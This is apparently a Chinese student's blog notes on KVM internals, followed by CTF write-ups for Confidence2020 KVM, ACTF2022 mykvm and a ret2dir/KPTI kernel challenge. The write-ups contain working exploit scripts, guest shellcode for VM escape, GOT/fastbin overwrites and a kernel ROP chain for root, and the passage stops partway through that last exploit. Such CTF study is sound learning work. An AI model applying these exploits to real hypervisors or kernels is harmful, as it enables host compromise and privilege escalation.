然后把这个汇编给编译了再得到二进制数据

1
2
3
4
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ nasm huibian.asm -o huibian
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ hexdump -C huibian
00000000 b0 01 04 30 ba f8 03 ee f4 |...0.....|
00000009

然后把这个shellcode存储到一个数据里

1
2
3
uint8_t code[]={
0xb0,0x01, 0x04, 0x30, 0xba, 0xf8, 0x03, 0xee,0xf4
}

接着真正开始利用kvm的接口来创建虚拟机然后运行这段shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <err.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(){
int ret;
uint8_t code[]={
0xb0,0x01, 0x04, 0x30, 0xba, 0xf8, 0x03, 0xee,0xf4
};
//打开/dev/kvm,获得kvm的句柄
int kvm=open("/dev/kvm",O_RDWR|O_CLOEXEC);
//早起的kvm的API是不稳定的,所以得检查一下版本,如果是
//12那就没问题
ret=ioctl(kvm,KVM_GET_API_VERSION,NULL);
if(ret==-1){
puts("KVM_GET_API_VERSION get fail");
exit(0);
}
if(ret!=12){
puts("KVM_GET_API_VERSION is not 12");
exit(0);
}
//创建一个虚拟机(vm),他代表了一个模拟系统相关的所有内容,包括
//内存和一个或者多个CPU,
int vmfd=ioctl(kvm,KVM_CREATE_VM,(unsigned long)0);
if(vmfd==-1){
puts("KVM_CREATE_VM fail");
exit(0);
}
//为vm配置“物理”内存
void *mem=mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(!mem){
puts("mmap mem fail");
exit(0);
}
memcpy(mem,code,sizeof(code));
//这个数据结构规定了客户物理地址和宿主进程的映射关系,是比较重要的
//其中guest_phys_addr指定了从guest看到的"物理"地址,而userspace_addr
//是宿主进程的虚拟地址,可以看出这个是个线性映射,把mem映射到guest的0x1000
//的“物理”地址上,所以mem和guest的0x1000指向到真实物理地址是一模一样的,所以guest修改
//他的内存是可以影响到宿主进程的,这也是逃逸的漏洞点。
struct kvm_userspace_memory_region region={
.slot=0,
.guest_phys_addr=0x1000,
.memory_size=0x1000,
.userspace_addr=(uint64_t)mem,
};
//然后设置vm的内存区域
ret=ioctl(vmfd,KVM_SET_USER_MEMORY_REGION,&region);
if(ret==-1){
puts("KVM_SET_USER_MEMORY_REGION fail");
exit(0);
}
//截至目前已经拥有了vm和他所对应的内存,里面包含了代码,要想执行这段代码还得模拟
//一个虚拟CPU(VCPU),一个虚拟cpu代表了一个模拟CPU的状态,包括处理器寄存器和其他
//执行状态,kvm提供一个vcpu的句柄
int vcpufd=ioctl(vmfd,KVM_CREATE_VCPU,(unsigned long)0);
if(vcpufd==-1){
puts("KVM_CREATE_VCPU fail");
exit(0);
}
//每个vcpu都得关联一个struct kvm_run数据结构,用于在vm和宿主进程(我理解为虚拟机监听器)
//传递有关cpu的信息,特别是当vmexit的时候,kvm_run讲包含有关他停止的信息,可以根据这个
//信息做相应的处理操作
size_t kvm_run_size=ioctl(kvm,KVM_GET_VCPU_MMAP_SIZE,NULL);
if(!kvm_run_size){
puts("KVM_GET_VCPU_MMAP_SIZE fail");
exit(0);
}
//然后将kvm_run和vcpu关联
struct kvm_run *run=mmap(NULL,kvm_run_size,PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
//在执行代码之前还需要设置vcpu的寄存器的初始状态,寄存器分为标准寄存器和特殊寄存器,标准
//寄存器指的是通用寄存器以及指针和标志,kvm中采用struct kvm_regs数据结构与其对应,特殊寄存器
//主要包括段寄存器和控制寄存器,kvm中采用struct kvm_sregs数据结构与其对应
//特殊寄存器中,我们只需要设置cs寄存器即可
struct kvm_sregs sregs;
ret=ioctl(vcpufd,KVM_GET_SREGS,&sregs);
if(ret==-1){
puts("KVM_GET_SREGS fail");
exit(0);
}
sregs.cs.base = 0;
sregs.cs.selector = 0;
ret=ioctl(vcpufd,KVM_SET_SREGS,&sregs);
if(ret==-1){
puts("KVM_SET_SREGS fail");
exit(0);
}
//设置标准寄存器,其中比较重要的是rip和rflags寄存器,rip指向
//code存放的地址,rflags指定为2
struct kvm_regs regs=
{
.rip=0x1000,
.rax=1,
.rflags=0x2,

};
ret=ioctl(vcpufd,KVM_SET_REGS,&regs);
if(ret==-1){
puts("KVM_SET_REGS fail");
exit(0);
}
//此时vm拥有了内存和VCPU,我们可以使用KVM_run选项让vcpu来运行自己的
//code了
while (1)
{
ret=ioctl(vcpufd,KVM_RUN,NULL);
if(ret==-1){
puts("KVM_RUN fail");
exit(0);
}
switch (run->exit_reason)
{
case KVM_EXIT_HLT:
puts("KVM_EXIT_HLT hahaha");
return 0;
break;
case KVM_EXIT_IO:
if(
run->io.direction==KVM_EXIT_IO_OUT&&
run->io.size==1&&
run->io.port==0x3f8&&
run->io.count==1
){
putchar(*(( (char *)run)+run->io.data_offset));
}else{
puts("KVM_EXIT_IO fail");
exit(0);
}
break;
default:
break;
}
}
}

结果

1
2
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn 
1KVM_EXIT_HLT hahaha

符合预期

验证一下guest被分配的内存是否是宿主进程给他的

1
2
3
4
5
6
7
mov al, 1
add al,'0'
mov dx, 0x3f8
out dx, al
mov al,0x20
mov word [0x1000+0x20],'2'
hlt
1
2
3
4
5
case KVM_EXIT_HLT:
printf("%s\n",((char *)mem)+0x20);
puts("KVM_EXIT_HLT hahaha");
return 0;
break;

结果

1
2
3
rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn
12
KVM_EXIT_HLT hahaha

符合预期

kvm深入学习

​ 上面只是比较简单的kvm使用方法,guest并没有开虚拟内存映射,直接使用的是他的”物理地址”,所以比较好理解,我找见了conf2020的一道kvm源码,他整了很多花活,我稍微改了改让他能够跑起来,接下来的任务就是搞懂这个源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <err.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>


/* CR0 bits */
#define CR0_PE 1u
#define CR0_MP (1U << 1)
#define CR0_EM (1U << 2)
#define CR0_TS (1U << 3)
#define CR0_ET (1U << 4)
#define CR0_NE (1U << 5)
#define CR0_WP (1U << 16)
#define CR0_AM (1U << 18)
#define CR0_NW (1U << 29)
#define CR0_CD (1U << 30)
#define CR0_PG (1U << 31)

#define CR4_PAE (1U << 5)

#define EFER_LME (1U << 8) // Long mode enable
#define EFER_LMA (1U << 10) // long mode active




void read_n(int count, void *dst)
{
int to_read = count;
char *dst_ptr = dst;
while (to_read > 0) {
int read_res = read(0, dst_ptr, to_read);
to_read -= read_res;
dst_ptr += read_res;
}
}
void copy_kvm_segment(struct kvm_segment *v1,struct kvm_segment *v2){
v1->base =v2->base;
v1->limit = v2->limit;
v1->selector =v2->selector;
v1->present =v2->present;
v1->type =v2->type; /* Code: execute, read, accessed */
v1->dpl = v2->dpl;
v1->db =v2->db;
v1->s =v2->s; /* Code/data */
v1->l = v2->l;
v1->g =v2->g; /* 4KB granularity */
}

int main()
{
char guest_mem[0x8000];

memset(&guest_mem, 0, 0x8000);
char *aligned_guest_mem = guest_mem + (4096 - (size_t)guest_mem % 4096);

unsigned int code_size = -1;
read_n(sizeof(4), &code_size);
if (code_size > 0x4000) {
puts("\n[init] hold your horses");
return 1;
}

read_n(code_size, aligned_guest_mem);

int kvm_fd = open("/dev/kvm", O_CLOEXEC|O_RDWR);

unsigned int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);


struct kvm_userspace_memory_region region = {
.slot = 0,
.flags = 0,
.guest_phys_addr = 0,
.memory_size = 0x8000,
.userspace_addr = aligned_guest_mem
};
ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &region);


int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);

int vcpu_mmap_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
struct kvm_run *run_mem = mmap(NULL, vcpu_mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu_fd, 0);

struct kvm_regs guest_regs;
memset(&guest_regs, 0, sizeof(guest_regs));
guest_regs.rsp = 0xff0;
guest_regs.rflags = 2; // required
ioctl(vcpu_fd, KVM_SET_REGS, &guest_regs);

struct kvm_sregs guest_sregs;
ioctl(vcpu_fd, KVM_GET_SREGS, &guest_sregs);

// Setup paging long mode.
guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG;
guest_sregs.cr4 = CR4_PAE;
guest_sregs.efer = EFER_LMA | EFER_LME;
guest_sregs.cr3 = 0x4000;
*(size_t*)(aligned_guest_mem + 0x4000) = 0x5003; // P4 Table[0]
*(size_t*)(aligned_guest_mem + 0x5000) = 0x6003; // P3 Table[0]
*(size_t*)(aligned_guest_mem + 0x6000) = 0x7003; // P2 Table[0]
*(size_t*)(aligned_guest_mem + 0x7000) = 0x3; // P1 Table[0]
*(size_t*)(aligned_guest_mem + 0x7008) = 0x1003; // P1 Table[1]
*(size_t*)(aligned_guest_mem + 0x7010) = 0x2003; // P1 Table[2]
*(size_t*)(aligned_guest_mem + 0x7018) = 0x3003; // P1 Table[3]
// meaning 0x0, 0x1000, 0x2000, 0x3000 are physical pages


// Setup segments
struct kvm_segment seg = {
.base = 0,
.limit = 0xffffffff,
.selector = 1 << 3,
.present = 1,
.type = 11, /* Code: execute, read, accessed */
.dpl = 0,
.db = 0,
.s = 1, /* Code/data */
.l = 1,
.g = 1, /* 4KB granularity */
};
copy_kvm_segment(&(guest_sregs.cs),&seg);
seg.type = 3; /* Data: read/write, accessed */
seg.selector = 2 << 3;
copy_kvm_segment(&(guest_sregs.ds),&seg);
copy_kvm_segment(&(guest_sregs.es),&seg);
copy_kvm_segment(&(guest_sregs.fs),&seg);
copy_kvm_segment(&(guest_sregs.gs),&seg);
copy_kvm_segment(&(guest_sregs.ss),&seg);
ioctl(vcpu_fd, KVM_SET_SREGS, &guest_sregs);


while (1) {
ioctl(vcpu_fd, KVM_RUN, 0);
if (run_mem->exit_reason == KVM_EXIT_HLT || run_mem->exit_reason == KVM_EXIT_SHUTDOWN)
break;
if (run_mem->exit_reason == KVM_EXIT_IO) {
if (run_mem->io.direction == KVM_EXIT_IO_OUT && run_mem->io.port == 0x3f8) {
printf("%.*s",
run_mem->io.count * run_mem->io.size,
run_mem->request_interrupt_window + run_mem->io.data_offset);
}
}
printf("\n[loop] exit reason: %d\n", run_mem->exit_reason);
}
puts("\n[loop] goodbye!");

return 0;
}

又看了两天的理论知识,终于能完全看懂上面的kvm实例了,主要的难点在于理解vcpu的特殊寄存器的设置上

1
2
3
guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG;
guest_sregs.cr4 = CR4_PAE;
guest_sregs.efer = EFER_LMA | EFER_LME;

他首先设置了cr0寄存器,这个寄存器是控制寄存器,每一位都是一个开关,其中CR0_PE就是开起了保护模式,CR0_PG开启了分页管理模式,相当于开起了MMU地址翻译,后续还会设置页表和cr3寄存器,然后cr4寄存器和efer寄存器的设置都是为了开启64位模式,因为如果开启了保护模式默认是32位的。这块多亏了xxrw学长才理解。膜

image-20220718125951256

然后他设置了cr3寄存器然后初始化了四级页表,理解这块得需要操作系统中虚拟地址到物理地址翻译的知识,前三级页表都只有一个页表项,指向下一级页表,第四级页表的页表项记录的是物理地址,一共有四项,0,1,2,3,所以一共可以翻译4*4k的页面,比如0x0就会落入第四级页表的第0项,最后翻译成物理地址也是0,0x2000就会落入第四级页表的第2项,最后翻译的物理地址是0x2000,所以这个页表翻译了和没翻译差不多。

1
2
3
4
5
6
7
8
9
guest_sregs.cr3 = 0x4000;
*(size_t*)(aligned_guest_mem + 0x4000) = 0x5003; // P4 Table[0]
*(size_t*)(aligned_guest_mem + 0x5000) = 0x6003; // P3 Table[0]
*(size_t*)(aligned_guest_mem + 0x6000) = 0x7003; // P2 Table[0]
*(size_t*)(aligned_guest_mem + 0x7000) = 0x3; // P1 Table[0]
*(size_t*)(aligned_guest_mem + 0x7008) = 0x1003; // P1 Table[1]
*(size_t*)(aligned_guest_mem + 0x7010) = 0x2003; // P1 Table[2]
*(size_t*)(aligned_guest_mem + 0x7018) = 0x3003; // P1 Table[3]
// meaning 0x0, 0x1000, 0x2000, 0x3000 are physical pages

然后就是段寄存器的设置了,使用的是kvm_segment结构体,我的理解这不仅是对cs寄存器的设置,更准确的说是对段描述符的设置,这个kvm_segment就是对段描述符的虚拟,其中base就是段描述符的基址,limit是段描述符的长度,他和g搭配使用当g=1时,段的长度是以4k为单位的,所以段的最大大小就是2^32*4K,如果g=0,段的长度就是以字节为单位的。selector和present不清楚,type就是设置段是什么段,下面的代码表示是代码段,段描述符是保护模式必要的要素。

1
2
3
4
5
6
7
8
9
10
11
12
struct kvm_segment seg = {
.base = 0,
.limit = 0xffffffff,
.selector = 1 << 3,
.present = 1,
.type = 11, /* Code: execute, read, accessed */
.dpl = 0,
.db = 0,
.s = 1, /* Code/data */
.l = 1,
.g = 1, /* 4KB granularity */
};

然后程序就进入虚拟机开始执行指令了,既然看懂了这段代码终于可以正向做题了。

kvm题目复现

Confidence2020 CTF KVM

主要的漏洞点在虚拟vm的内存时候发生了问题,他把host程序的返回地址也映射到guest内存中,导致可以在guest中修改

host进程的返回地址,然后利用hlt指令退出guest返回host进程,然后退出main函数时getshell.

1
2
3
4
5
6
7
8
memset(s, 0, 0x8000uLL);
v14 = &s[4096LL - (((unsigned __int16)&savedregs + 32752) & 0xFFF)];

v25[0] = 0;
v25[1] = 0;
v26 = 0LL;
v27 = 0x8000LL;
v28 = v14;

漏洞利用一共分三步,第一步伪造新的页表项,因为原来页表项只能访问到[00x4000],而返回地址在[0x70000x8000],所以得伪造新的页表,然后修改cr3寄存器,让指令可以访问到返回地址所在的区域.我们选择让cr3=0x1000

1
2
3
4
5
6
mov qword ptr [0x1000],0x2003
mov qword ptr [0x2000],0x3003
mov qword ptr [0x3000], 0x3
mov qword ptr [0x0], 0x7003
mov rax, 0x1000
mov cr3, rax

现在当我们访问0x0地址的时候,就会访问到0x7000的地方,然后开始线性查找,找到返回地址

1
2
3
4
5
6
mov rax, 0x1050
look_for_return:
add rax, 0x8
cmp qword ptr [rax], 0
je look_for_return
add rax, 0x18

此时rax就指向了retrun的返回地址了,然后通过加减预算把他改为ogg

1
2
3
4
mov rcx, qword ptr [rax]
add rcx, 0x249e6
mov qword ptr [rax], rcx
hlt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from code import interact
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
sh=process("./kvm")
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
shellcode='''
mov qword ptr [0x1000],0x2003
mov qword ptr [0x2000],0x3003
mov qword ptr [0x3000], 0x3
mov qword ptr [0x0], 0x3
mov qword ptr [0x8], 0x7003
mov rax, 0x1000
mov cr3, rax
mov rax, 0x1050
look_for_return:
add rax, 0x8
cmp qword ptr [rax], 0
je look_for_return
add rax, 0x18
mov rcx, qword ptr [rax]
add rcx, 0x249e6
mov qword ptr [rax], rcx
hlt
'''
gdb.attach(sh,'b *(0x555555554000 +{0})'.format(0xFD3))
def exp():
shellcode_len=len(asm(shellcode))

sh.send(p32(shellcode_len))
sh.sendline(asm(shellcode))
sh.interactive()

exp()

有一个问题我目前不能理解,就是给第四级页表第0项设置非0的物理内存,然后翻译的时候guest就会退出,然后kvm爆KVM_EXIT_SHUTDOWN的退出原因,第四级页表第0项对应的虚拟地址就是0x0~0xfff,可能这个地址有啥特殊的吧,不能随便设置。

复现完之后发现也不是很难,但是自己从开始学习到复现用了快一周的时间,我是猪鼻,除了上述做法伪造页表之外,我觉得理论上还存在一种做法,即从保护模式中返回到实模式,就可以不用伪造页表直接进行任意物理地址访问了,但看了一些资料看不懂捏,后面有时间再捣鼓捣鼓。

ACTF2022 mykvm

和上一题类似,都是设置vm的内存时大小设置不合理,导致可以在guest可以越界访存host进程的信息,比如在这道题中guest可以访问到dest地址,然后还对分配给guest的内存不清0,导致可以leak出栈地址和libc地址。这道题一共有两种解法

解法一

kvm进入guest的时候默认是16位实模式的,解法一就是在直接实模式中通过out指令leak出libc地址,然后修改dest指针,使其指向puts_got附近,在退出虚拟机后执行memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);时把got表项改成ogg,然后执行puts("Bye!");来getshell.不过程序使用readline()函数接收数据,所以字符必须是可见字符,这就对ogg地址的输入造成了困难,解决办法是只写got的后三个字节,但是这三个字节也有可能不是可见字符,所以具有一定概率性,我的脚本之所以没有爆破原因是我在本地复现的,而且把aslr关了,我直接选了后三个字符是可见字符的ogg来打的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
sh=process("./mykvm")
kvm=ELF("./mykvm")
puts_got=kvm.got["puts"]
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
shellcode=asm('''
.code16
mov bx, 0x3f8
get_libc:
mov al, byte ptr [bx]
out 1,al
add bx, 1
cmp bx,0x400
jne get_libc
mov bx,0x7100
mov byte ptr [bx], 0x0b
mov byte ptr [bx+1], 0x20
mov byte ptr [bx+2], 0x60
hlt
''')

gdb.attach(sh,'b *(0x400000 +{0})'.format(0x1127))
def exp():
sh.recvuntil("your code size: ")
sh.sendline(str(0x1000))
sh.recvuntil("your code: ")
sh.send(shellcode)
sh.recvuntil("guest name: ")
sh.sendline("jingyinghua")
sh.recvuntil("guest passwd: ")
sh.sendline("123123")
sh.recvuntil("123123\n")
sleep(1)
libc_base=u64(sh.recv(8))-0x8149d8
sh.recvuntil("host name: ")
ogg_addr=libc_base+0xf1247
sh.sendline('a'*0x1d+p32(ogg_addr&0xffffff))
sh.interactive()

exp()

在实模式中可以通过段寄存器:[通用寄存器]来达到2^20的寻址,也可以直接通过通用寄存器来寻址比如mov byte ptr [bx], 0x0b,但注意地址不能超过0x10000

解法二

相较于解法就麻烦很多,而且也是爆破,和解法一相比稳定性差不多吧,这种解法就是设置gdt端描述表,然后修改cr0寄存进入保护模式,进入保护模式默认就进入了32位,这样寻址范围就高达4G,就可以直接利用0x60a100里的堆地址,然后然后利用这个指针泄露libc地址,然后修改0x40的fastbin上的第一个堆块的fd为0x602032,这段空间在memcpy_got附近,然后修改dest指针指向的堆块保存’/bin/sh’字符串,在退出虚拟机后就可以利用readline函数申请到这段空间,然后修改memcpy_got后两个字节为do_system地址。最后就是执行memcpy(des)相当于执行了system('/bin/sh'),但是由于readline函数会对字符最后清零\x00,所以得爆破让do_system地址的倒数第三个字节为0才行,这个得爆一会。

交互脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from re import S
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
kvm=ELF("./mykvm")
puts_got=kvm.got["puts"]
# shellcode=asm('''
# hlt
# ''')

while(1):
sh=process("./mykvm")
#gdb.attach(sh,'b *(0x400000 +{0})'.format(0x10EE))
sh.recvuntil("your code size: ")
sh.sendline(str(0x1000))
sh.recvuntil("your code: ")
with open("./exp.bin", "rb") as f:
code = f.read()
sh.send(code)
sh.recvuntil("guest name: ")
sh.sendline("a"*0x28)
sh.recvuntil("guest passwd: ")
sh.sendline("a"*0x50)
sleep(0.1)
libc_base = u64(sh.recvuntil("\x7f")[-6:].ljust(8, '\x00'))-0x3c5540
system_addr=libc_base+0x44e30
if ((system_addr>>0x10)&0xff)==0:
sleep(1)
sh.recvuntil("host name: ")
sh.sendline("b"*0x2e+p16(system_addr&0xffff))
sh.interactive()
sh.close()

汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
cli
lgdt [gdt_descriptor]
mov eax,cr0
or eax,0x1
mov cr0, eax
code:
mov ax, 0x10 ; 将数据段寄存器ds和附加段寄存器es置为0x10
mov ds, ax
mov es, ax
mov fs, ax ; fs和gs寄存器由操作系统使用,这里统一设成0x10
mov gs, ax
mov ax, 0x18 ; 将栈段寄存器ss置为0x18
mov ss, ax
mov ebp, 0x7c00 ; 现在栈顶指向 0x7c00
mov esp, ebp

mov eax, [0x7100]
add eax, 0x1bc8
sub eax, 0x603000
mov ecx, [eax]
mov edx, [eax+4]
mov eax, ecx
get_libc1:
out 1,al
shr eax, 8
cmp eax, 0
jne get_libc1

mov eax, edx
get_libc2:
out 1,al
shr eax, 8
cmp eax, 0
jne get_libc2

chang_fastbin_binsh_to_dest:
mov eax, [0x7100]
add eax, 0x13670
sub eax, 0x603000
mov edx, 0x602032
mov [eax], edx

mov eax, [0x7100]
sub eax, 0x603000
mov edx, 0x6e69622f
mov [eax], edx
mov edx, 0x68732f
mov [eax+4], edx
hlt
gdt_start:
gdt_null:
dd 0
dd 0

gdt_code:
dw 0xffff
dw 0x0
db 0x0
db 10011010b
db 11001111b
db 0x0
gdt_data:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 11001111b
db 0

gdt_stack:
dw 0xffff
dw 0x0
db 0x0
db 10010010b
db 01000000b
db 0
gdt_end:

gdt_descriptor:
dw gdt_end-gdt_start-1
dd gdt_start

开启保护模式光设置段描述表gdt还不够,还得设置一些段寄存器,然后kvm一直爆KVM_EXIT_SHUTDOWN

ret2dir&KPTI

记录一下西电的kgadget解题过程以及学到的知识点,拖了一个多月了,还是很有质量的一道题,是学习ret2dir很好的板子题。

0x1 ret2dir

0x1.1 原理

这是2014年提出的一个攻击手段,主要是看论文的翻译理解的(洋文真的看不下去),理解了以后ret2dir的原理也不是非常复杂,主要就是依靠内核地址空间的一段地址(physmap)和物理地址线性映射造成的别名地址来绕过smep和smap。

img

上图是内核的虚拟地址段,其中physmap就处于0xffff888000000000 - 0xffffc87fffffffff,这段地址对应的内存大小一共是64TB,在x86_64系统中,physmap直接以1:1的方式进行映射,从0页表开始,将整个RAM放进64T的区域中,我理解的就是64位架构下,physmap映射了所有的物理内存。所以用户态对应的物理内存也被physmap映射,这就会造成别名地址的出现,我们可以在用户态布置好rop或者shellcode,然后在内核态通过physmap就可以访问到,此时不会触发smep和smap,因为physmap本身就处于内核态的虚拟地址空间,属于内核态的内容。

0x1.2 利用方式

一共有两种利用方式

精准命中:可以通过mmap申请一页大小的内容,然后在上面写上自己的rop或者shellcode.然后通过kmalloc申请堆,这个堆来自于physmap线性映射区(physmap的存在就是方便kmalloc),然后泄露堆的地址,就可以知道physmap的基地址了,然后进行内存搜索,找到rop或者shellcode的线性映射地址来getshell.

概率命中:学名叫physmap spray,通过mmap大量的页地址,然后全部写上相同的rop或者shellcode,然后随机挑选一个physmap上一个页基址进行利用。只要申请的足够多,就有很大概率命中。

值得注意的是高版本的physmap只有读写权限,没有执行权限,所以一般都是rop.

0x2 KPTI

做这道题的时候安排好正常的返回用户态的swapgsiretq,返回用户态后直接爆段错误,跳了半天也没调出来个所以然,问了熊爹说和KPTI有关我才反应过来。

LPTI的具体原理可以参看(12条消息) Linux mem 2.3 内核页表隔离 (KPTI) 详解_pwl999的博客-CSDN博客_内核页表隔离,绕过方式可以看Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

简而言之,如果开启了KPTI的话,要想从内核态进入用户态,还得设置cr3的值,让其或上0x1000就行,可以使用gadget来完成,也可以使用swapgs_restore_regs_and_return_to_usermode+27来完成。

我比较疑惑的是当cr3的值指向了用户态的PGD以后还得执行内核态的swapgsiretq,不就会在TLB中找不见对应的物理地址了吗。🤔,目前我还无法解答.

0x3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
size_t commit_creds=0xffffffff810c92e0;
size_t prepare_kernel_cred=0xffffffff810c9540;
size_t pop_rsp_ret=0xffffffff811483d0;
size_t add_rsp_0xe8_pop_rbx_rbp_ret=0xffffffff812bd353;
size_t add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret=0xffffffff810737fe;
size_t pop_rdi=0xffffffff8108c6f0;
size_t ret=0xffffffff8110197b;
size_t swapgs_pop_rbp_ret=0xffffffff81bb99af;
size_t iretq=0xffffffff810002df;
size_t mov_rsi_rax_ret=0xffffffff81bbdc9c;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
// ffffffff81029e51: 48 89 c7 mov %rax,%rdi
// ffffffff81029e54: 89 d8 mov %ebx,%eax
// ffffffff81029e56: 5b pop %rbx
// ffffffff81029e57: 5d pop %rbp
// ffffffff81029e58: 48 09 f8 or %rdi,%rax
// ffffffff81029e5b: c3 retq
size_t mov_rdi_rax=0xffffffff81029e51;
size_t try_hit ;
size_t page_size;

int fd;
void *physmap_spray_arr[16000];
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp,user_bp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"mov user_bp, rbp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void rop_chain(size_t *rop){
int idx=0;
for(;idx<(page_size/8-0x40);idx++){
rop[idx]=add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret;
}
for(;idx<(page_size/8-0x30);idx++){
rop[idx]=ret;
}
rop[idx++]=pop_rdi;
rop[idx++]=0;
rop[idx++]=prepare_kernel_cred;
rop[idx++]=mov_rdi_rax;
rop[idx++]=1;
rop[idx++]=1;
rop[idx++]=commit_creds;
rop[idx++]=swapgs_restore_regs_and_return_to_usermode;
rop[idx++]=0;
rop[idx++]=0;
rop[idx++] = (size_t)usr_shell; // rip
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
void main(){
saveStatus();
page_size = sysconf(_SC_PAGESIZE);
fd=open("/dev/kgadget",O_RDWR);
if(!fd){
printf("open fail\n");
return;
}
physmap_spray_arr[0]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!physmap_spray_arr[0]){
printf("mmap fail\n");
return;
}
rop_chain(physmap_spray_arr[0]);
for(int i=1;i<15000;i++){
physmap_spray_arr[i]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!physmap_spray_arr[i]){
printf("mmap fail\n");
return;
